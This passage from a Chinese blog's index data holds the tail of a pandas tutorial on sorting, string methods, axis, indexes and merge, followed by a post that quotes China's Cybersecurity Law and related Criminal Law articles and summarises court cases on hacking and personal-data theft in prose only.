两个字段都是降序df.sort_values(by=['aqiLevel','bWendu'],ascending=False)# 分别指定升序和降序df.sort_values(by=['aqiLevel','bWendu'],ascending=[True,False]) pandas字符串处理Pandas的字符串处理 使用方法:先获取Series的str属性,然后再属性上调用函数 只能在字符串列上使用,不能在数字列上使用 Dataframe上没有str属性和处理方法 Series.str并不是Python原生字符串,而是自己的一套方法,不过大部分和原生str很相似 https://pandas.pydata.org/pandas-docs/stable/reference/series.html#string-handlinghttps://pandas.pydata.org/pandas-docs/stable/reference/series.html#string-handling 演示内容12341. 获取Series的str属性,然后使用各种字符串处理函数2. 使用str的startswith、contains等bool类Series可以做条件查询3. 需要多次str处理的链式操作4. 使用正则表达式处理 12345import pandas as pd# 读取csv数据到DataFramefpath='./datas/beijing_tianqi/beijing_tianqi_2018.csv'df=pd.read_csv(fpath)df.head() 获取Series的str属性,使用各种字符串处理函数 123456df['bWendu'].str# 字符串替换函数df['bWendu'].str.replace('℃','')# 判断是不是数字df['bWendu'].str.isnumeric()# df['aqi'].str.len() #不允许在int类型上用str 使用str的startswith、contains等得到bool的Series可以做条件查询 123condition=df['ymd'].str.startswith('2018-03')conditiondf[condition].head() 需要多次str处理的链式操作怎样提取201803这样的数字月份? 先将日期2018-03-31替换成20180331的形式 提取月份字符串201803 12345 # 每次调用函数,都返回一个新Seriesdf['ymd'].str.replace('-','')df['ymd'].str.replace('-','').str.slice(0,6)# slice就是切片语法,可以直接用df['ymd'].str.replace('-','').str[0:6] 使用正则表达式的处理 123456789101112#添加新列def get_nianyueri(x): year, month,day = x["ymd"].split("-") return f"{year}年{month}月{day}日"df["中文日期"]= df.apply(get_nianyueri,axis=1)df['中文日期']# 问题:怎么将'2018年12月31日'中的年月日三个中文字符去除?# 方法1: 链式replacedf['中文日期'].str.replace('年','').str.replace('月','').str.replace('日','')# Series.str默认就开启了正则表达式模式# 方法2:正则表达式替换df['中文日期'].str.replace('[年月日]','') Pandas的axis参数 axis=0或者’index’: 如果是单行操作,就指的是某一行 如果是聚合操作,指的是跨行cross rows axis=1或者’columns’: 如果是单列操作,就指的是某一列 如果是聚合操作,指的是跨列cross columns 按哪个axis,就是这个axis要动起来类似被for遍历,其他的axis保持不动 123456789101112131415161718192021import pandas as pd import numpy as np df = pd.DataFrame( np.arange(12).reshape(3,4), columns=['A','B','C','D'])df# 1. 单列drop,就是删除某一列# 代表的就是删除某列df.drop('A',axis=1)# 2. 单行drop,就是删除某一行df.drop(1,axis=0)# 3. 按axis=0/index执行mean聚合操作# 反直觉:输出的不是每行的结果,而是每列的结果df# axis=0 or axis=indexdf.mean(axis=0)# 4. 按axis=1/columns执行mean聚合操作df # axis=1 or axis=columnsdf.mean(axis=1) Pandas的索引indexPandas的索引index的用途把数据存储与普通的column列也能用于数据查询,那使用index有什么好处? index的用途总结: 更方便的数据查询 使用index可以获得性能提升 自动的数据对齐功能 更多更强大的数据结构支持 Pandas的索引index的用途12345678910111213import pandas as pd df = pd.read_csv('./datas/ml-latest-small/ratings.csv')df.head()df.count()# 1. 使用index查询数据# drop=false,让索引列还保持在columndf.set_index('userId',inplace=True,drop=False)# set_index修改索引df.head()df.index# 使用index的查询方法df.loc[500].head(5)# 使用column的condition查询方法df.loc[df['userId']==500].head() 使用index会提升查询性能 如果index是唯一的,Pandas会使用哈希表优化,查询性能O(1) 如果index不是唯一的,但是有序,Pandas会使用二分查找法,查询性能为O(logN) 如果index是完全随机的,那么每次查询都要扫描全表,查询性能为O(N) 实验1:完全随机的顺序查询12345678from sklearn.utils import shuffledf_shuffle=shuffle(df)df_shuffle.head()# 索引是否是递增的df_shuffle.index.is_monotonic_increasingdf_shuffle.index.is_unique# 计时,查询id==500数据性能%timeit df_shuffle.loc[500] 实验2:将index排序后的查询123456df_sorted = df_shuffle.sort_index()df_sorted.head()# 索引是否是递增的df_sorted.index.is_monotonic_increasingdf_sorted.index.is_unique%timeit df_sorted.loc[500] 使用index能自动对其数据包括series和dataframe 12345s1=pd.Series([1,2,3],index=list('abc'))s1s2=pd.Series([2,3,4],index=list('bcd'))s2s1+s2 使用index更多更强大的数据结构支持很多强大的索引数据结构 Caregoricalindex,基于分类数据的index,提升性能 Multiindex,多维索引,用于groupby多维聚合后结果等 Datetimeindex,时间类型索引,强大的日期和时间的方法支持 Pandas的Merge语法pandas怎样实现DataFrame的Mergepandas的Merge,相当于Sql的Join,将不同的表key关联到一个表 merge的语法: pd.merge(left,right,how='inner',on=None,left_on=None,right_on=None,left_index=False,right_index=False,sort=True,suffixes=('_x','_y'),copy=True,indicator=False,validate=None) left,right:要merge的dataframe或者有name的Series how: join类型,’left’, ‘right’ , ‘outer’, ‘inner’ on: join的key,left和right都需要有这个key left_on: left的df或者series的key right_on: right的df或者seires的key left_index,right_index:使用index而不是普通的column做join suffixes:两个元素的后缀,如果列有重名,自动添加后缀,默认是(‘_X’,’_Y’) 本次实验提纲 电影数据集的join实例 理解merge时一对一、一对多、多对多的数量对齐关系 理解left join、right join、inner join、 outer join、的区别 如果出现非Key的字段重名怎么办","tags":["数据可视化","编程语言","Python","数据分析"],"categories":["编程语言","Python"]},{"title":"网络安全法","path":"/2020/12/29/93e21280/","content":"总字符数: 13.82K 代码: 无, 文本: 13.11K 预计阅读时间: 57 分钟 导读法律就是秩序,有好的法律才有好的秩序——亚里士多德 中国工程院院士李建成教授指出,“网络安全建设,应当以法律为根,技术为基。”《网络安全法》是在吸取国内外立法经验的基础上,经过多次公开征集意见,人大常委会三次审议之后完成的。尽管立法过程历时较短,但其中不乏制度亮点。 专用词解释: (一)网络,是指由计算机或者其他信息终端及相关设备组成的按照一定的规则和程序对信息进行收集、存储、传输、交换、处理的系统。 (二)网络安全,是指通过采取必要措施,防范对网络的攻击、侵入、干扰、破坏和非法使用以及意外事故,使网络处于稳定可靠运行的状态,以及保障网络数据的完整性、保密性、可用性的能力。 (三)网络运营者,是指网络的所有者、管理者和网络服务提供者。 (四)网络数据,是指通过网络收集、存储、传输、处理和产生的各种电子数据。 (五)个人信息,是指以电子或者其他方式记录的能够单独或者与其他信息结合识别自然人个人身份的各种信息,包括但不限于自然人的姓名、出生日期、身份证件号码、个人生物识别信息、住址、电话号码等。 一、黑客违法判刑标准《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。 第二百八十六条 违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。 故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。 注:以上刑法提醒我们在做渗透测试的时候,一定要记得先取得甲方的同意书(授权书),渗透测试的手法如同黑客攻击,在未获取甲方正式授权前,千万不要擅自进行测试操作,以免触犯以上《中华人民共和国刑法》。有关的同意书(或授权书)必须经过双方法人签署,这是经过系统拥有者同意的授权书,也是我们进行合法渗透测试的法律文件。 不过要提醒的是,特别要注意同意授权书的有效范围,不是有了授权书就可以肆意妄为,它只是渗透测试计划书所有规范的界定范围内有效,如果涉及界定范围之外的活动(包括系统、手段、工具等),则都必须重新获取授权。 二、网络安全法条规细则1.个人发现网络运营者违反法律、行政法规的规定或者双方的约定收集、使用其个人信息的,有权要求网络运营者删除其个人信息;发现网络运营者收集、存储的其个人信息有错误的,有权要求网络运营者予以更正。网络运营者应当采取措施予以删除或者更正。 2.任何个人和组织不得窃取或者以其他非法方式获取个人信息,不得非法出售或者非法向他人提供个人信息。 3.依法负有网络安全监督管理职责的部门及其工作人员,必须对在履行职责中知悉的个人信息、隐私和商业秘密严格保密,不得泄露、出售或者非法向他人提供。 4.任何个人和组织应当对其使用网络的行为负责,不得设立用于实施诈骗,传授犯罪方法,制作或者销售违禁物品、管制物品等违法犯罪活动的网站、通讯群组,不得利用网络发布涉及实施诈骗,制作或者销售违禁物品、管制物品以及其他违法犯罪活动的信息。 5.任何个人和组织发送的电子信息、提供的应用软件,不得设置恶意程序,不得含有法律、行政法规禁止发布或者传输的信息。 三、网络安全的违法案例据CNCERT抽样监测发现,2019年前4个月我境内被篡改的网站8,213个,同比增长48.8%;被植入后门的网站10,010个,同比增长22.5%。同时,近期发现由于运营者安全配置不当,很多数据库直接暴露在互联网上,导致大量用户个人信息泄露。造成这些事件很大原因是一些互联网网站运营者网络安全意识不强,特别是中小网站安全管理和防护能力较低,缺乏有效安全保障措施,成为网络攻击的重点目标和主要入口。 在信息安全的防护下也出现了很多的案例: 案例1:魏某将事先修改过回收地址的某软件通过上传至全球知名中文IT技术交流平台网站以及在其管理的QQ群内对外发布,利用他人下载使用该软件时非法获取了一万余条网站后门漏洞信息,后通过租赁上述信息非法获利人民币1.1万元。经远程勘验该1万余条网站漏洞信息中可直连被入侵互联网服务器获取控制权限的达103台。 法院经审理认为,被告人魏某违反国家规定,对国家事务、国防建设、尖端科学以外的计算机信息系统实施非法控制,情节特别严重,其行为已构成非法控制计算机信息系统罪。同时考虑到其具有坦白、退出违法所得、自愿认罪认罚等量刑情节,根据《中华人民共和国刑法》及相关司法解释的规定,判决被告人魏某犯非法控制计算机信息系统罪,判处有期徒刑三年,缓刑四年,并处罚金人民币一万五千元。 案例2:2015年7月8日,江苏省南通市通州区教育技术装备室负责人报案称,今年以来通州区教育党建人事网页面多次被人恶意篡改,给教育部门形象造成恶劣影响。接报警后,南通公安机关迅速勘验发现,通州区教育党建人事网服务器已被植入恶意木马程序。 近日,江苏南通公安机关成功抓获非法侵入通州区教育局网站服务器,非法篡改网页的犯罪嫌疑人丛某。经审讯,丛某对其犯罪事实供认不讳。据交代,2014年以来,丛某采用扫描网站漏洞放置木马病毒的方式获取网站控制权限,然后入侵网站服务器进行篡改,非法添加私服推广广告网页获取推广费。据统计,丛某先后入侵近200个网站,非法获利近20万元。 案例3:汤某通过QQ群从他人处获得某网络游戏的网站源码,并在网络上搭建钓鱼网站后以每日人民币30元至50元不等的价格出租给他人以用于窃取游戏账号及密码,共计获利8千元。被告人熊某等13人从被告人汤某处租得钓鱼网站后,窃取他人游戏账号及密码予以出售,或从他人处购买游戏账号及密码后将游戏内虚拟物品予以出售牟利。被告人晁某、王某明知是非法获取所得的游戏虚拟物品,仍予以收购。 法院经审理认为,被告人汤某、熊某等14人违反国家规定,侵入计算机信息系统,获取计算机信息系统中存储、处理或者传输的数据,其行为均已构成非法获取计算机信息系统数据罪。被告人晁某、王某明知是非法获取计算机信息系统数据犯罪所获取的数据,仍予以收购,其行为均已构成掩饰、隐瞒犯罪所得罪。对以上被告人分别以非法获取计算机信息系统数据罪、掩饰、隐瞒犯罪所得罪判处缓刑,并处罚金,或单处罚金。其中被告人陈某曾因犯非法获取计算机信息系统数据罪,仍在缓刑考验期限内,故撤销其缓刑,决定执行有期徒刑一年二个月,并处罚金人民币二万二千元。 案例4:张某、韦某为拓展其经营的某信息咨询公司的客户源,通过微信联系卖家,以人民币400元的价格,非法购买公民个人信息(姓名、电话号码)10000条,并进行电话营销。张某为拓展客户源,还通过购买某论坛账号等方式非法在互联网上下载公民个人信息并进行电话营销。 法院经审理认为,张某、韦某以其他方法非法获取公民个人信息,其行为均已构成侵犯公民个人信息罪。判处被告人张某有期徒刑一年,并处罚金人民币二万元;判处被告人韦某有期徒刑六个月,缓刑一年,并处罚金人民币一万元。 案例5: 近日,经南平市延平区检察院提起公诉,延平区法院以非法控制计算机信息系统罪判处被告人林某某有期徒刑四年三个月,并处罚金人民币80000元,判处被告人凌某有期徒刑三年,并处罚金人民币50000元;该案系南平市首例利用webshell非法控制计算机信息系统案件。 四、网络安全法内容第一章 总则第一条 为了保障网络安全,维护网络空间主权和国家安全、社会公共利益,保护公民、法人和其他组织的合法权益,促进经济社会信息化健康发展,制定本法。 第二条 在中华人民共和国境内建设、运营、维护和使用网络,以及网络安全的监督管理,适用本法。 第三条 国家坚持网络安全与信息化发展并重,遵循积极利用、科学发展、依法管理、确保安全的方针,推进网络基础设施建设和互联互通,鼓励网络技术创新和应用,支持培养网络安全人才,建立健全网络安全保障体系,提高网络安全保护能力。 第四条 国家制定并不断完善网络安全战略,明确保障网络安全的基本要求和主要目标,提出重点领域的网络安全政策、工作任务和措施。 第五条 国家采取措施,监测、防御、处置来源于中华人民共和国境内外的网络安全风险和威胁,保护关键信息基础设施免受攻击、侵入、干扰和破坏,依法惩治网络违法犯罪活动,维护网络空间安全和秩序。 第六条 国家倡导诚实守信、健康文明的网络行为,推动传播社会主义核心价值观,采取措施提高全社会的网络安全意识和水平,形成全社会共同参与促进网络安全的良好环境。 第七条 国家积极开展网络空间治理、网络技术研发和标准制定、打击网络违法犯罪等方面的国际交流与合作,推动构建和平、安全、开放、合作的网络空间,建立多边、民主、透明的网络治理体系。 第八条 国家网信部门负责统筹协调网络安全工作和相关监督管理工作。国务院电信主管部门、公安部门和其他有关机关依照本法和有关法律、行政法规的规定,在各自职责范围内负责网络安全保护和监督管理工作。 县级以上地方人民政府有关部门的网络安全保护和监督管理职责,按照国家有关规定确定。 第九条 网络运营者开展经营和服务活动,必须遵守法律、行政法规,尊重社会公德,遵守商业道德,诚实信用,履行网络安全保护义务,接受政府和社会的监督,承担社会责任。 第十条 建设、运营网络或者通过网络提供服务,应当依照法律、行政法规的规定和国家标准的强制性要求,采取技术措施和其他必要措施,保障网络安全、稳定运行,有效应对网络安全事件,防范网络违法犯罪活动,维护网络数据的完整性、保密性和可用性。 第十一条 网络相关行业组织按照章程,加强行业自律,制定网络安全行为规范,指导会员加强网络安全保护,提高网络安全保护水平,促进行业健康发展。 第十二条 国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。 任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。 第十三条 国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。 第十四条 任何个人和组织有权对危害网络安全的行为向网信、电信、公安等部门举报。收到举报的部门应当及时依法作出处理;不属于本部门职责的,应当及时移送有权处理的部门。 有关部门应当对举报人的相关信息予以保密,保护举报人的合法权益。 第二章 网络安全支持与促进第十五条 国家建立和完善网络安全标准体系。国务院标准化行政主管部门和国务院其他有关部门根据各自的职责,组织制定并适时修订有关网络安全管理以及网络产品、服务和运行安全的国家标准、行业标准。 国家支持企业、研究机构、高等学校、网络相关行业组织参与网络安全国家标准、行业标准的制定。 第十六条 国务院和省、自治区、直辖市人民政府应当统筹规划,加大投入,扶持重点网络安全技术产业和项目,支持网络安全技术的研究开发和应用,推广安全可信的网络产品和服务,保护网络技术知识产权,支持企业、研究机构和高等学校等参与国家网络安全技术创新项目。 第十七条 国家推进网络安全社会化服务体系建设,鼓励有关企业、机构开展网络安全认证、检测和风险评估等安全服务。 第十八条 国家鼓励开发网络数据安全保护和利用技术,促进公共数据资源开放,推动技术创新和经济社会发展。 国家支持创新网络安全管理方式,运用网络新技术,提升网络安全保护水平。 第十九条 各级人民政府及其有关部门应当组织开展经常性的网络安全宣传教育,并指导、督促有关单位做好网络安全宣传教育工作。 大众传播媒介应当有针对性地面向社会进行网络安全宣传教育。 第二十条 国家支持企业和高等学校、职业学校等教育培训机构开展网络安全相关教育与培训,采取多种方式培养网络安全人才,促进网络安全人才交流。 第三章 网络运行安全第一节 一般规定 第二十一条 国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求,履行下列安全保护义务,保障网络免受干扰、破坏或者未经授权的访问,防止网络数据泄露或者被窃取、篡改: (一)制定内部安全管理制度和操作规程,确定网络安全负责人,落实网络安全保护责任; (二)采取防范计算机病毒和网络攻击、网络侵入等危害网络安全行为的技术措施; (三)采取监测、记录网络运行状态、网络安全事件的技术措施,并按照规定留存相关的网络日志不少于六个月; (四)采取数据分类、重要数据备份和加密等措施; (五)法律、行政法规规定的其他义务。 第二十二条 网络产品、服务应当符合相关国家标准的强制性要求。网络产品、服务的提供者不得设置恶意程序;发现其网络产品、服务存在安全缺陷、漏洞等风险时,应当立即采取补救措施,按照规定及时告知用户并向有关主管部门报告。 网络产品、服务的提供者应当为其产品、服务持续提供安全维护;在规定或者当事人约定的期限内,不得终止提供安全维护。 网络产品、服务具有收集用户信息功能的,其提供者应当向用户明示并取得同意;涉及用户个人信息的,还应当遵守本法和有关法律、行政法规关于个人信息保护的规定。 第二十三条 网络关键设备和网络安全专用产品应当按照相关国家标准的强制性要求,由具备资格的机构安全认证合格或者安全检测符合要求后,方可销售或者提供。国家网信部门会同国务院有关部门制定、公布网络关键设备和网络安全专用产品目录,并推动安全认证和安全检测结果互认,避免重复认证、检测。 第二十四条 网络运营者为用户办理网络接入、域名注册服务,办理固定电话、移动电话等入网手续,或者为用户提供信息发布、即时通讯等服务,在与用户签订协议或者确认提供服务时,应当要求用户提供真实身份信息。用户不提供真实身份信息的,网络运营者不得为其提供相关服务。 国家实施网络可信身份战略,支持研究开发安全、方便的电子身份认证技术,推动不同电子身份认证之间的互认。 第二十五条 网络运营者应当制定网络安全事件应急预案,及时处置系统漏洞、计算机病毒、网络攻击、网络侵入等安全风险;在发生危害网络安全的事件时,立即启动应急预案,采取相应的补救措施,并按照规定向有关主管部门报告。 第二十六条 开展网络安全认证、检测、风险评估等活动,向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息,应当遵守国家有关规定。 第二十七条 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。 第二十八条 网络运营者应当为公安机关、国家安全机关依法维护国家安全和侦查犯罪的活动提供技术支持和协助。 第二十九条 国家支持网络运营者之间在网络安全信息收集、分析、通报和应急处置等方面进行合作,提高网络运营者的安全保障能力。 有关行业组织建立健全本行业的网络安全保护规范和协作机制,加强对网络安全风险的分析评估,定期向会员进行风险警示,支持、协助会员应对网络安全风险。 第三十条 网信部门和有关部门在履行网络安全保护职责中获取的信息,只能用于维护网络安全的需要,不得用于其他用途。 第二节 关键信息基础设施的运行安全 第三十一条 国家对公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务等重要行业和领域,以及其他一旦遭到破坏、丧失功能或者数据泄露,可能严重危害国家安全、国计民生、公共利益的关键信息基础设施,在网络安全等级保护制度的基础上,实行重点保护。关键信息基础设施的具体范围和安全保护办法由国务院制定。 国家鼓励关键信息基础设施以外的网络运营者自愿参与关键信息基础设施保护体系。 第三十二条 按照国务院规定的职责分工,负责关键信息基础设施安全保护工作的部门分别编制并组织实施本行业、本领域的关键信息基础设施安全规划,指导和监督关键信息基础设施运行安全保护工作。 第三十三条 建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能,并保证安全技术措施同步规划、同步建设、同步使用。 第三十四条 除本法第二十一条的规定外,关键信息基础设施的运营者还应当履行下列安全保护义务: (一)设置专门安全管理机构和安全管理负责人,并对该负责人和关键岗位的人员进行安全背景审查; (二)定期对从业人员进行网络安全教育、技术培训和技能考核; (三)对重要系统和数据库进行容灾备份; (四)制定网络安全事件应急预案,并定期进行演练; (五)法律、行政法规规定的其他义务。 第三十五条 关键信息基础设施的运营者采购网络产品和服务,可能影响国家安全的,应当通过国家网信部门会同国务院有关部门组织的国家安全审查。 第三十六条 关键信息基础设施的运营者采购网络产品和服务,应当按照规定与提供者签订安全保密协议,明确安全和保密义务与责任。 第三十七条 关键信息基础设施的运营者在中华人民共和国境内运营中收集和产生的个人信息和重要数据应当在境内存储。因业务需要,确需向境外提供的,应当按照国家网信部门会同国务院有关部门制定的办法进行安全评估;法律、行政法规另有规定的,依照其规定。 第三十八条 关键信息基础设施的运营者应当自行或者委托网络安全服务机构对其网络的安全性和可能存在的风险每年至少进行一次检测评估,并将检测评估情况和改进措施报送相关负责关键信息基础设施安全保护工作的部门。 第三十九条 国家网信部门应当统筹协调有关部门对关键信息基础设施的安全保护采取下列措施: (一)对关键信息基础设施的安全风险进行抽查检测,提出改进措施,必要时可以委托网络安全服务机构对网络存在的安全风险进行检测评估; (二)定期组织关键信息基础设施的运营者进行网络安全应急演练,提高应对网络安全事件的水平和协同配合能力; (三)促进有关部门、关键信息基础设施的运营者以及有关研究机构、网络安全服务机构等之间的网络安全信息共享; (四)对网络安全事件的应急处置与网络功能的恢复等,提供技术支持和协助。 第四章 网络信息安全第四十条 网络运营者应当对其收集的用户信息严格保密,并建立健全用户信息保护制度。 第四十一条 网络运营者收集、使用个人信息,应当遵循合法、正当、必要的原则,公开收集、使用规则,明示收集、使用信息的目的、方式和范围,并经被收集者同意。 网络运营者不得收集与其提供的服务无关的个人信息,不得违反法律、行政法规的规定和双方的约定收集、使用个人信息,并应当依照法律、行政法规的规定和与用户的约定,处理其保存的个人信息。 第四十二条 网络运营者不得泄露、篡改、毁损其收集的个人信息;未经被收集者同意,不得向他人提供个人信息。但是,经过处理无法识别特定个人且不能复原的除外。 网络运营者应当采取技术措施和其他必要措施,确保其收集的个人信息安全,防止信息泄露、毁损、丢失。在发生或者可能发生个人信息泄露、毁损、丢失的情况时,应当立即采取补救措施,按照规定及时告知用户并向有关主管部门报告。 第四十三条 个人发现网络运营者违反法律、行政法规的规定或者双方的约定收集、使用其个人信息的,有权要求网络运营者删除其个人信息;发现网络运营者收集、存储的其个人信息有错误的,有权要求网络运营者予以更正。网络运营者应当采取措施予以删除或者更正。 第四十四条 任何个人和组织不得窃取或者以其他非法方式获取个人信息,不得非法出售或者非法向他人提供个人信息。 第四十五条 依法负有网络安全监督管理职责的部门及其工作人员,必须对在履行职责中知悉的个人信息、隐私和商业秘密严格保密,不得泄露、出售或者非法向他人提供。 第四十六条 任何个人和组织应当对其使用网络的行为负责,不得设立用于实施诈骗,传授犯罪方法,制作或者销售违禁物品、管制物品等违法犯罪活动的网站、通讯群组,不得利用网络发布涉及实施诈骗,制作或者销售违禁物品、管制物品以及其他违法犯罪活动的信息。 第四十七条 网络运营者应当加强对其用户发布的信息的管理,发现法律、行政法规禁止发布或者传输的信息的,应当立即停止传输该信息,采取消除等处置措施,防止信息扩散,保存有关记录,并向有关主管部门报告。 第四十八条 任何个人和组织发送的电子信息、提供的应用软件,不得设置恶意程序,不得含有法律、行政法规禁止发布或者传输的信息。 电子信息发送服务提供者和应用软件下载服务提供者,应当履行安全管理义务,知道其用户有前款规定行为的,应当停止提供服务,采取消除等处置措施,保存有关记录,并向有关主管部门报告。 第四十九条 网络运营者应当建立网络信息安全投诉、举报制度,公布投诉、举报方式等信息,及时受理并处理有关网络信息安全的投诉和举报。 网络运营者对网信部门和有关部门依法实施的监督检查,应当予以配合。 第五十条 国家网信部门和有关部门依法履行网络信息安全监督管理职责,发现法律、行政法规禁止发布或者传输的信息的,应当要求网络运营者停止传输,采取消除等处置措施,保存有关记录;对来源于中华人民共和国境外的上述信息,应当通知有关机构采取技术措施和其他必要措施阻断传播。 第五章 监测预警与应急处置第五十一条 国家建立网络安全监测预警和信息通报制度。国家网信部门应当统筹协调有关部门加强网络安全信息收集、分析和通报工作,按照规定统一发布网络安全监测预警信息。 第五十二条 负责关键信息基础设施安全保护工作的部门,应当建立健全本行业、本领域的网络安全监测预警和信息通报制度,并按照规定报送网络安全监测预警信息。 第五十三条 国家网信部门协调有关部门建立健全网络安全风险评估和应急工作机制,制定网络安全事件应急预案,并定期组织演练。 负责关键信息基础设施安全保护工作的部门应当制定本行业、本领域的网络安全事件应急预案,并定期组织演练。 网络安全事件应急预案应当按照事件发生后的危害程度、影响范围等因素对网络安全事件进行分级,并规定相应的应急处置措施。 第五十四条 网络安全事件发生的风险增大时,省级以上人民政府有关部门应当按照规定的权限和程序,并根据网络安全风险的特点和可能造成的危害,采取下列措施: (一)要求有关部门、机构和人员及时收集、报告有关信息,加强对网络安全风险的监测; (二)组织有关部门、机构和专业人员,对网络安全风险信息进行分析评估,预测事件发生的可能性、影响范围和危害程度; (三)向社会发布网络安全风险预警,发布避免、减轻危害的措施。 第五十五条 发生网络安全事件,应当立即启动网络安全事件应急预案,对网络安全事件进行调查和评估,要求网络运营者采取技术措施和其他必要措施,消除安全隐患,防止危害扩大,并及时向社会发布与公众有关的警示信息。 第五十六条 省级以上人民政府有关部门在履行网络安全监督管理职责中,发现网络存在较大安全风险或者发生安全事件的,可以按照规定的权限和程序对该网络的运营者的法定代表人或者主要负责人进行约谈。网络运营者应当按照要求采取措施,进行整改,消除隐患。 第五十七条 因网络安全事件,发生突发事件或者生产安全事故的,应当依照《中华人民共和国突发事件应对法》、《中华人民共和国安全生产法》等有关法律、行政法规的规定处置。 第五十八条 因维护国家安全和社会公共秩序,处置重大突发社会安全事件的需要,经国务院决定或者批准,可以在特定区域对网络通信采取限制等临时措施。 第六章 法律责任第五十九条 网络运营者不履行本法第二十一条、第二十五条规定的网络安全保护义务的,由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处一万元以上十万元以下罚款,对直接负责的主管人员处五千元以上五万元以下罚款。 关键信息基础设施的运营者不履行本法第三十三条、第三十四条、第三十六条、第三十八条规定的网络安全保护义务的,由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处十万元以上一百万元以下罚款,对直接负责的主管人员处一万元以上十万元以下罚款。 第六十条 违反本法第二十二条第一款、第二款和第四十八条第一款规定,有下列行为之一的,由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处五万元以上五十万元以下罚款,对直接负责的主管人员处一万元以上十万元以下罚款: (一)设置恶意程序的; (二)对其产品、服务存在的安全缺陷、漏洞等风险未立即采取补救措施,或者未按照规定及时告知用户并向有关主管部门报告的; (三)擅自终止为其产品、服务提供安全维护的。 第六十一条 网络运营者违反本法第二十四条第一款规定,未要求用户提供真实身份信息,或者对不提供真实身份信息的用户提供相关服务的,由有关主管部门责令改正;拒不改正或者情节严重的,处五万元以上五十万元以下罚款,并可以由有关主管部门责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第六十二条 违反本法第二十六条规定,开展网络安全认证、检测、风险评估等活动,或者向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息的,由有关主管部门责令改正,给予警告;拒不改正或者情节严重的,处一万元以上十万元以下罚款,并可以由有关主管部门责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处五千元以上五万元以下罚款。 第六十三条 违反本法第二十七条规定,从事危害网络安全的活动,或者提供专门用于从事危害网络安全活动的程序、工具,或者为他人从事危害网络安全的活动提供技术支持、广告推广、支付结算等帮助,尚不构成犯罪的,由公安机关没收违法所得,处五日以下拘留,可以并处五万元以上五十万元以下罚款;情节较重的,处五日以上十五日以下拘留,可以并处十万元以上一百万元以下罚款。 单位有前款行为的,由公安机关没收违法所得,处十万元以上一百万元以下罚款,并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。 违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。 第六十四条 网络运营者、网络产品或者服务的提供者违反本法第二十二条第三款、第四十一条至第四十三条规定,侵害个人信息依法得到保护的权利的,由有关主管部门责令改正,可以根据情节单处或者并处警告、没收违法所得、处违法所得一倍以上十倍以下罚款,没有违法所得的,处一百万元以下罚款,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款;情节严重的,并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照。 违反本法第四十四条规定,窃取或者以其他非法方式获取、非法出售或者非法向他人提供个人信息,尚不构成犯罪的,由公安机关没收违法所得,并处违法所得一倍以上十倍以下罚款,没有违法所得的,处一百万元以下罚款。 第六十五条 关键信息基础设施的运营者违反本法第三十五条规定,使用未经安全审查或者安全审查未通过的网络产品或者服务的,由有关主管部门责令停止使用,处采购金额一倍以上十倍以下罚款;对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第六十六条 关键信息基础设施的运营者违反本法第三十七条规定,在境外存储网络数据,或者向境外提供网络数据的,由有关主管部门责令改正,给予警告,没收违法所得,处五万元以上五十万元以下罚款,并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照;对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第六十七条 违反本法第四十六条规定,设立用于实施违法犯罪活动的网站、通讯群组,或者利用网络发布涉及实施违法犯罪活动的信息,尚不构成犯罪的,由公安机关处五日以下拘留,可以并处一万元以上十万元以下罚款;情节较重的,处五日以上十五日以下拘留,可以并处五万元以上五十万元以下罚款。关闭用于实施违法犯罪活动的网站、通讯群组。 